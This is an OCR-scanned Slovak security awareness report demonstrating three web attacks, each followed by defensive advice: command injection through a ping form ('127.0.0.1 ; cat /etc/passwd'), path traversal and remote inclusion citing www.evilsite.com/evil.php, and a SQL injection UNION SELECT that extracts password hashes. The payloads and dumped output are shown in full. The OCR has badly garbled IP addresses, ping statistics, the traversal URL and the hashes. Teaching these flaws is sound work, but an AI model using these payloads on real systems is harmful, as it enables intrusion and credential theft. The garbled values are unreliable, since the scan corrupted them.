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1. Neopravnené vykonavanie prikazov

Pod neopravnenym vykonavanim prikazov rozumieme zneuzitie systému na
vykonanie prikazu, ktory nebol mieneny na vykonanie v prvom rade. Ako priklad
uvedieme moznost vykonat prikaz ping, pre ktory staCi zadat' IP adresu ciela.

Ping for FREE

Enter an IP address below:
127.0.0.1 submit

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.0.8.1: icmp_req=1 tt1=64 time=0.847 ms
64 bytes from 127.0.08.1: icmp_req=2 ttl=64 time=0.863 ms
64 bytes from 127.0.08.1: icmp_req=3 ttl=64 time=0.836 ms

- 127.8.08.1 ping statistics ---
3 packets transmitted, 3 received, 8% packet loss, time 2804ms
rtt minfavg/max/mdev = 0.836/0.048/0.0663/0.013 ms

Vdaka nedostatoCnej implementacii je ale mozné zneuzit mechanizmus, ktorym sa
sluzba na serveri spusta.

Utoenik dokaze vyuzit funkciu prikazového riadku na zretazenie prikazov, a teda
vykonat viacero prikazov stuéasne. Utoénik takto dokaze vykonavat akékolvek prikazy
s pravami pouzivatela, ktory spustil web server. Mézeme pouzit' operator ,;“, ,&&"
alebo ,|“ na zretazenie prikazov a vytvorit tak napriklad prikaz ,127.0.0.1 ; cat
letc/passwd®, kde sa najprv vykona prva legitimna €ast’ a nasledne kod utocnika, ktory
zobrazi obsah suboru /etc/passwd. Na obrazovku sa vypiSe celkovy vystup procesu.

Bez oSetrenia takejto zranitelnosti otvarame velmi vaznu dieru do systému, kde aj
uto€nik na velmi nizkej technickej urovni dokaze spdsobit rozsiahle skody.

TLP: WHITE
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Ping for FREE

Enter an IP address below:
127.0.0.1 ; cat /etc/passwd submit

PING 127.9.8.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.8.6.1: icmp _reg=1 ttl=64 time=0.019 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.065 ms
64 bytes from 127.0.6.1: icmp req=3 ttl=64 time=0.064 ms

--- 127.0.0.1 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt minfavg/max/mdev = 0.019/0.04%/0.065/0.022 ms
root:x:0:0:root:/root:/bins/bash

daemon:x:1:1:daemon: fusr/sbin: /bin/sh
bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh

sync:x:4:65534:sync:/bin: /bin/sync

games:x:5:60:games: fusr/games: /bin/sh

man:x:6:12:man: /var/cache/man: /bin/sh
lp:x:7:7:1p:¢var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:18:18:uucp:/var/spool/uucp: /bin/sh
proxy:x:13:13:proxy:/bin: /bin/sh
www-data:ix:33:33www-data:/var/www:/bin/sh
backup:x:34:34 :backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/runfircd: /bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody : /nonexistent:/bin/sh
libuuid:x:188:181:: /var/Llib/libuuid: /bin/sh
syslog:x:101:103::/home/syslog: /bin/false
mysql:x:102:185:MySOL Server,,,:/nonexistent:/bin/false
messagebus:x:103:106::/var/run/dbus: /bin/false
whoopsie:x:104:187:: /nonexistent: /bin/false
landscape:x:185:110: :/var/lib/landscape:/binsfalse
sshd:x:106:65534: :/var/run/sshd: /usr/sbin/nologin
test:x:1000:1000:test,,, : /home/test:/bin/bash

1.1. Ochrana

Ochrana pred takymto typom utoku spocCiva v zablokovani vkladania inych retazcov
ako tych, ktoré su oakavanym vstupom. V nasom pripade funkcie PING ofakavame
vstup vo formate IP adresy X.X.X.X, kde X musia byt Cisla o max. velkosti jedného
bajtu. Cislo spracivame po jednotlivych zloZkach adresy, ateda sa nam nikdy
nevykona pripadny vioZeny kéd. Cim detailnejSie nastavime obmedzenia, tym vy$si
stupen ochrany dosiahneme.

TLP: WHITE
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2. Zranitelnost’ v ceste k suboru

Zranitefnost' v ceste k suboru spociva vo vyboc€eni z predpokladanych stranok, ktoré
mali byt zobrazené a miesto nich su nacitané systémové subory, pripadne Skodlivé
subory z inych lokalit na internete.

V nasom priklade je stranka page.php urena ako zobrazova¢ obsahu ktory mu
posunul iny skript na webe. Kvéli zlej implementacii je mozné podsunut retazec, ktory
vypiSe obsah suboru so zoznamom pouzivatelov systému, pripadne je mozné vlozit
stranku z iného zdroja, napriklad www.evilsite.com/evil.php. Takto je mozné, aby sa
vykonal cudzi kéd na zranitelnom systéme.

Po navstiveni nasledovnej adresy:

127.0.0.1 ;'dWﬂ'E;’UU“"I era l'J”i'tiEEfﬁf? padge :;'..f..f..f. .;’..f..;’..f. .,l'. .;’..;’..;’. .;'l. .f..f..j"..f. .;'l..f..fE'T C;fF'JE sswd

sme dostali odpoved obsahujucu zoznam pouzivatelov a ich skupin v hornej Casti
stranky.

5%;!53

Priblizena Cast vyzera nasledovne:

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin
fgames:/binfsh man:x:6:12:man:/varfcache/man:/bin/sh Ip:x:7:7:1p:
fspool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33
flist:/bin/sh irc:x:39:39:ircd:/var/runfircd:/bin/sh gnats:x:41:41.:Gnatj
libuuid:x;100:101::/var/lib/libuuid:/bin/sh syslog:x;:101:103::./home/s
fbin/false whoopsie:x:104:107::/nonexistent:/bin/false landscape:x
test:x:1000:1000:test..../home/test:/bin/bash

2.1. Ochrana

Ochrana pred tymto utokom spocCiva v programatorskom oSetreni skriptu, ktory
vykonava nacitavanie inych stranok. Jednym 2z opatreni je obmedzit vstup
akéhokolvek iného retazca znakov, ako su povolené nazvy suborov, ktoré ma
pouzivatel pravo spustit. Dalou ochranou je uzamknutie webserveru (Apache) v
umelom korenovom adresari (chroot).

TLP: WHITE
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3. SQL injection

SQL injection bol a stéle je jeden z najpopularnejSich utoénych vektorov, kde vdaka
neoSetrenému vstupu do databazy vie utoCnik vykonat SQL dotazy. Na zaklade
vystupov z databazy dokaze utolnik ziskat data zo systému (informacie o
zakaznikoch, mena, hesla, Cisla kreditnych kariet, ...). V pripade niektorych
konfiguracii databazového serveru utoCnik dokaze vykonavat systémové prikazy s
opravneniami SQL servera.

V nasSom priklade sme k pozadovanému vstupu Cisla pouZivatela, o ktorom chceme
ziskat' udaje, pridali aj SQL dopyt (1 ‘ union select user_id, password from users where

x‘ = ‘x), na zaklade ktorého sme vypisali obsah stipcov v tabulke ku ktorym pévodne
nebolo mozné pristupovat.

User ID:
1' union select user_id, passv | Submit

ID: 1' UNION SELECT user_id,password FROM users WHERE 'x'='x
First name: admin
Surname: admin

ID: 1' UNION SELECT user id,password FROM users WHERE 'x'='x
First name: 1
Surname: 5fd4dcc3b5aa765d61d8327deb882c 39

ID: 1' UNION SELECT user_id,password FROM users WHERE 'x'='x
First name: 2
Surname: e99al18c428cb38d5f260853678022e83

ID: 1' UNION SELECT user id,password FROM users WHERE 'x'='x
First name: 3
Surname: 8d3533d75ae2¢3966d7e8d4fcc69216b

ID: 1' UNION SELECT user_id,password FROM users WHERE 'x'='x
First name: 4
Surname: B8d107de9f5bbed4Bcade3lde5c71e9e9b7

ID: 1' UNION SELECT user id,password FROM users WHERE 'x'='x
First name: 5
Surname: 5f4dcc3b5aa765d61d8327deb882c 29

3.1. Ochrana

Ochrana pred SQL injection spociva v zabraneni vliozenia SQL kédu do spracuvaného
pofa aplikacie. NajsilnejSiu ochranu ponukaju takzvané predpripravené vyrazy
(prepared statements), ktoré obmedzuju vstup od pouzivatela. Je mozné rozlisit
jednotlivé parametre ktoré vstupuju do SQL retazca a obmedzit’ ich (integer, string...)
tak, aby nebolo mozné zadavat Cokolvek iné.

TLP: WHITE




